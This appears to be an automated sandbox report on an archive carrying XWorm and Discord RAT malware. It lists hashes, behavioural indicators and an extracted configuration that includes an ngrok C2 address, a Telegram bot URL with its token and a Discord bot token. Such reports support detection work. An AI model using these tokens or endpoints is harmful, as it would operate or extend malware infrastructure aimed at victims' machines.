discordrat | c56bf7def89f84021fef68e6f982d4353509948cbf64b4ed6e562913e74824d3

Analysis

max time kernel
482s
max time network
498s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
02-04-2024 00:47

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

LSD.zip
Size

143KB
MD5

32529b840edfae5391754cc4bb072ee7
SHA1

6dab2051d90fe6b1dacc9eff62cdc7a0b84c1ec5
SHA256

c56bf7def89f84021fef68e6f982d4353509948cbf64b4ed6e562913e74824d3
SHA512

610f91f589a2b63a488ce4d75432346062b69677355bb1f4d04b2d53fe1865d123eeca53477e20bb8712e1014a3601d8c00dd87e2fe1226a5872856fd301416c
SSDEEP

3072:CcfoE1BMBy2RzDN5/pNnBFS2X+kR+d7Emic8j6+mU56xtVQwBc13TWYb9fVUaGDY:uaDuqJMfc3VSgE29xxspm0n1vuz3NF9+

Score

10^/10

discordrat xworm persistence rat rootkit stealer trojan

Malware Config

Extracted

Family

xworm

Version

5.0

7.tcp.ngrok.io:22206

Mutex

gZUzvp6k0Vw7befo

Attributes

Install_directory
%AppData%
install_file
OneDrive.exe
telegram
https://api.telegram.org/bot6356371662:AAF4_y4uR4P5salxGzkxmxDwHJPbGvs4F18

aes.plain

Extracted

Family

discordrat

Attributes

discord_token
MTIxNTkxNDE2OTQzNDY0MDQ4NA.GHG2tI.FdChr7ncxdWTRNVDebgqvEe-YEBQ0w9irxSTnI
server_id
1215913648778903614

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2564-452-0x000001D6A92D0000-0x000001D6A92FA000-memory.dmp	family_xworm

Discord RAT
A RAT written in C# using Discord as a C2.
stealer rootkit rat persistence discordrat
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Downloads MZ/PE file

Executes dropped EXE 8 IoCs

pid	Process
2564	LSD.bat.exe
5524	Gorilla Tag.exe
1132	Gorilla Tag.exe
3800	Gorilla Tag.exe
5544	Gorilla Tag.exe
5884	Gorilla Tag.exe
3284	Gorilla Tag.exe
4916	Gorilla Tag.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 21 IoCs

Web Service

T1102

flow	ioc
55	raw.githubusercontent.com
65	discord.com
67	discord.com
71	discord.com
95	discord.com
8	raw.githubusercontent.com
69	discord.com
88	discord.com
93	discord.com
1	raw.githubusercontent.com
21	discord.com
49	raw.githubusercontent.com
86	discord.com
90	discord.com
3	camo.githubusercontent.com
61	discord.com
64	discord.com
78	discord.com
82	discord.com
84	discord.com
34	raw.githubusercontent.com

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com
47	api.ipify.org
53	api.ipify.org
3	api.ipify.org

Checks processor information in registry 2 TTPs 11 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	Winword.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Winword.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Winword.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	Winword.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	Winword.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	Winword.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 020000000100000000000000ffffffff	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202020202020202020202020202020202020202	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\24\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\1	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\24\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\IconSize = "16"	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\24\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByDirection = "1"	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616257"	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\1\NodeSlot = "23"	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 000000000200000001000000ffffffff	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\24\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupView = "0"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\23\Shell	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\24\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1092616257"	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\24\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16"	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\23\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\24\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\23\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\24\ComDlg	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Downloads"	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202020202020202020202020202020202020202	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\23\Shell\SniffedFolderType = "Generic"	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\23\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\23\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\.tmp	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\23\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\2 = 14002e80922b16d365937a46956b92703aca08af0000	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\MRUListEx = 0100000000000000ffffffff	OpenWith.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\23\ComDlg	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\23\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\23\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\24\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\24\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\tmp_auto_file\shell	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\2\MRUListEx = ffffffff	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 020000000000000001000000ffffffff	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\.tmp\ = "tmp_auto_file"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\tmp_auto_file\shell\edit\command	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\2	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295"	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\tmp_auto_file\shell\edit\ = "@C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Office16\\oregres.dll,-1"	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\23\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\23\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\tmp_auto_file\shell\edit	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\24\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\LogicalViewMode = "1"	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\1 = 8c0031000000000082581406110050524f4752417e310000740009000400efbec5525961825815062e0000003f0000000000010000000000000000004a000000000033c60800500072006f006700720061006d002000460069006c0065007300000040007300680065006c006c00330032002e0064006c006c002c002d0032003100370038003100000018000000	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\23\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\24\Shell\SniffedFolderType = "Documents"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\tmp_auto_file\shell\edit\command\ = "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\Winword.exe\" /n \"%1\""	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings	OpenWith.exe

NTFS ADS 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\LSD.zip:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\LSD (1).zip:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 415547.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Gorilla Tag.exe:Zone.Identifier	msedge.exe

Opens file in notepad (likely ransom note) 2 IoCs

ransomware

pid	Process
1400	NOTEPAD.EXE
4816	NOTEPAD.EXE

Runs net.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1920	Winword.exe
1920	Winword.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
2076	msedge.exe
2076	msedge.exe
1340	msedge.exe
1340	msedge.exe
3124	msedge.exe
3124	msedge.exe
4372	identity_helper.exe
4372	identity_helper.exe
2188	msedge.exe
2188	msedge.exe
2424	msedge.exe
2424	msedge.exe
6096	powershell.exe
6096	powershell.exe
6096	powershell.exe
2564	LSD.bat.exe
2564	LSD.bat.exe
2564	LSD.bat.exe
1788	msedge.exe
1788	msedge.exe
1788	msedge.exe
1788	msedge.exe
244	msedge.exe
244	msedge.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
764	OpenWith.exe
2024	OpenWith.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 15 IoCs

pid	Process
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	4052	firefox.exe
Token: SeDebugPrivilege	4052	firefox.exe
Token: SeDebugPrivilege	6096	powershell.exe
Token: SeDebugPrivilege	2564	LSD.bat.exe
Token: SeDebugPrivilege	5524	Gorilla Tag.exe
Token: SeDebugPrivilege	1132	Gorilla Tag.exe
Token: SeDebugPrivilege	3800	Gorilla Tag.exe
Token: SeDebugPrivilege	5544	Gorilla Tag.exe
Token: SeDebugPrivilege	5884	Gorilla Tag.exe
Token: SeDebugPrivilege	3284	Gorilla Tag.exe
Token: SeDebugPrivilege	4916	Gorilla Tag.exe

Suspicious use of FindShellTrayWindow 55 IoCs

pid	Process
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
4052	firefox.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
4052	firefox.exe
4052	firefox.exe
4052	firefox.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe

Suspicious use of SendNotifyMessage 15 IoCs

pid	Process
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
2076	msedge.exe
4052	firefox.exe
4052	firefox.exe
4052	firefox.exe

Suspicious use of SetWindowsHookEx 44 IoCs

pid	Process
4052	firefox.exe
764	OpenWith.exe
764	OpenWith.exe
764	OpenWith.exe
764	OpenWith.exe
764	OpenWith.exe
764	OpenWith.exe
764	OpenWith.exe
764	OpenWith.exe
764	OpenWith.exe
764	OpenWith.exe
764	OpenWith.exe
764	OpenWith.exe
764	OpenWith.exe
764	OpenWith.exe
764	OpenWith.exe
764	OpenWith.exe
764	OpenWith.exe
764	OpenWith.exe
764	OpenWith.exe
764	OpenWith.exe
2024	OpenWith.exe
2024	OpenWith.exe
2024	OpenWith.exe
2024	OpenWith.exe
2024	OpenWith.exe
2024	OpenWith.exe
2024	OpenWith.exe
2024	OpenWith.exe
2024	OpenWith.exe
2024	OpenWith.exe
2024	OpenWith.exe
2024	OpenWith.exe
2024	OpenWith.exe
2024	OpenWith.exe
2024	OpenWith.exe
2024	OpenWith.exe
2024	OpenWith.exe
1920	Winword.exe
1920	Winword.exe
1920	Winword.exe
1920	Winword.exe
1920	Winword.exe
1920	Winword.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2076 wrote to memory of 2296	2076	msedge.exe	83
PID 2076 wrote to memory of 2296	2076	msedge.exe	83
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 2272	2076	msedge.exe	84
PID 2076 wrote to memory of 1340	2076	msedge.exe	85
PID 2076 wrote to memory of 1340	2076	msedge.exe	85
PID 2076 wrote to memory of 2344	2076	msedge.exe	86
PID 2076 wrote to memory of 2344	2076	msedge.exe	86
PID 2076 wrote to memory of 2344	2076	msedge.exe	86
PID 2076 wrote to memory of 2344	2076	msedge.exe	86
PID 2076 wrote to memory of 2344	2076	msedge.exe	86
PID 2076 wrote to memory of 2344	2076	msedge.exe	86
PID 2076 wrote to memory of 2344	2076	msedge.exe	86
PID 2076 wrote to memory of 2344	2076	msedge.exe	86
PID 2076 wrote to memory of 2344	2076	msedge.exe	86
PID 2076 wrote to memory of 2344	2076	msedge.exe	86
PID 2076 wrote to memory of 2344	2076	msedge.exe	86
PID 2076 wrote to memory of 2344	2076	msedge.exe	86
PID 2076 wrote to memory of 2344	2076	msedge.exe	86
PID 2076 wrote to memory of 2344	2076	msedge.exe	86
PID 2076 wrote to memory of 2344	2076	msedge.exe	86
PID 2076 wrote to memory of 2344	2076	msedge.exe	86
PID 2076 wrote to memory of 2344	2076	msedge.exe	86
PID 2076 wrote to memory of 2344	2076	msedge.exe	86
PID 2076 wrote to memory of 2344	2076	msedge.exe	86
PID 2076 wrote to memory of 2344	2076	msedge.exe	86

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\LSD.zip
1⤵
PID:236

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1368

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
